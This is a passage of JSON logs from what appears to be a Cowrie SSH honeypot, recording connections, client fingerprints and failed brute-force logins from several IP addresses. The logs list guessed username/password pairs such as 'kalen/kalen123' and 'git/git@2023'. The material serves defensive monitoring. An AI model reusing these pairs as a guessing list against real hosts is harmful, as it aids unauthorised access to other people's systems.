384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:16.611384Z","src_ip":"103.189.208.13","session":"43a6d1a1a41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu1","message":"login attempt [ubuntu/ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:17.670447Z","src_ip":"103.189.208.13","session":"43a6d1a1a41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:18.931478Z","src_ip":"103.189.208.13","session":"43a6d1a1a41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":14636,"dst_ip":"159.203.135.109","dst_port":22,"session":"17b5741fc964","protocol":"ssh","message":"New connection: 213.209.159.159:14636 (159.203.135.109:22) [session: 17b5741fc964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:38.827290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:38.831716Z","src_ip":"213.209.159.159","session":"17b5741fc964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:38.913595Z","src_ip":"213.209.159.159","session":"17b5741fc964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":54678,"dst_ip":"159.203.135.109","dst_port":22,"session":"b36ade298241","protocol":"ssh","message":"New connection: 190.242.109.42:54678 (159.203.135.109:22) [session: b36ade298241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:39.247193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:39.251467Z","src_ip":"190.242.109.42","session":"b36ade298241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen","message":"login attempt [kalen/kalen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:39.315550Z","src_ip":"213.209.159.159","session":"17b5741fc964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:39.333792Z","src_ip":"190.242.109.42","session":"b36ade298241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2023","message":"login attempt [git/git@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:39.690466Z","src_ip":"190.242.109.42","session":"b36ade298241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen1","message":"login attempt [kalen/kalen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:40.400316Z","src_ip":"213.209.159.159","session":"17b5741fc964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:40.774451Z","src_ip":"190.242.109.42","session":"b36ade298241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen123","message":"login attempt [kalen/kalen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:41.485549Z","src_ip":"213.209.159.159","session":"17b5741fc964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen1234","message":"login attempt [kalen/kalen1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:42.571543Z","src_ip":"213.209.159.159","session":"17b5741fc964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen12345","message":"login attempt [kalen/kalen12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:43.660836Z","src_ip":"213.209.159.159","session":"17b5741fc964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:44.747295Z","src_ip":"213.209.159.159","session":"17b5741fc964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":59976,"dst_ip":"159.203.135.109","dst_port":22,"session":"50d6fd133a8d","protocol":"ssh","message":"New connection: 103.189.208.13:59976 (159.203.135.109:22) [session: 50d6fd133a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:13.950036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:13.955526Z","src_ip":"103.189.208.13","session":"50d6fd133a8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:14.210605Z","src_ip":"103.189.208.13","session":"50d6fd133a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123test","message":"login attempt [test/123test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:15.264764Z","src_ip":"103.189.208.13","session":"50d6fd133a8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:16.523702Z","src_ip":"103.189.208.13","session":"50d6fd133a8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":45328,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf4f6942ea9","protocol":"ssh","message":"New connection: 190.242.109.42:45328 (159.203.135.109:22) [session: ecf4f6942ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:45.749712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:45.755630Z","src_ip":"190.242.109.42","session":"ecf4f6942ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:45.856736Z","src_ip":"190.242.109.42","session":"ecf4f6942ea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3admin","password":"123456","message":"login attempt [ts3admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:46.282284Z","src_ip":"190.242.109.42","session":"ecf4f6942ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:09:47.384928Z","src_ip":"190.242.109.42","session":"ecf4f6942ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":50984,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a8ee50c8b14","protocol":"ssh","message":"New connection: 103.189.208.13:50984 (159.203.135.109:22) [session: 4a8ee50c8b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:13.010939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:13.016540Z","src_ip":"103.189.208.13","session":"4a8ee50c8b14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:13.270820Z","src_ip":"103.189.208.13","session":"4a8ee50c8b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qaz123","message":"login attempt [ubuntu/qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:14.306408Z","src_ip":"103.189.208.13","session":"4a8ee50c8b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:15.566206Z","src_ip":"103.189.208.13","session":"4a8ee50c8b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":35982,"dst_ip":"159.203.135.109","dst_port":22,"session":"5854f8ed5a0c","protocol":"ssh","message":"New connection: 190.242.109.42:35982 (159.203.135.109:22) [session: 5854f8ed5a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:55.341947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:55.347026Z","src_ip":"190.242.109.42","session":"5854f8ed5a0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:55.446899Z","src_ip":"190.242.109.42","session":"5854f8ed5a0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@wsx","message":"login attempt [user/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:55.871598Z","src_ip":"190.242.109.42","session":"5854f8ed5a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:10:56.973203Z","src_ip":"190.242.109.42","session":"5854f8ed5a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":36768,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ee831f7c88f","protocol":"ssh","message":"New connection: 103.189.208.13:36768 (159.203.135.109:22) [session: 7ee831f7c88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:11:15.314392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:11:15.319156Z","src_ip":"103.189.208.13","session":"7ee831f7c88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:11:15.567790Z","src_ip":"103.189.208.13","session":"7ee831f7c88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"qwerty","message":"login attempt [ftpadmin/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:11:16.593424Z","src_ip":"103.189.208.13","session":"7ee831f7c88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:11:17.845355Z","src_ip":"103.189.208.13","session":"7ee831f7c88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":54876,"dst_ip":"159.203.135.109","dst_port":22,"session":"db3ade45811e","protocol":"ssh","message":"New connection: 190.242.109.42:54876 (159.203.135.109:22) [session: db3ade45811e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:03.650402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:03.655739Z","src_ip":"190.242.109.42","session":"db3ade45811e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS"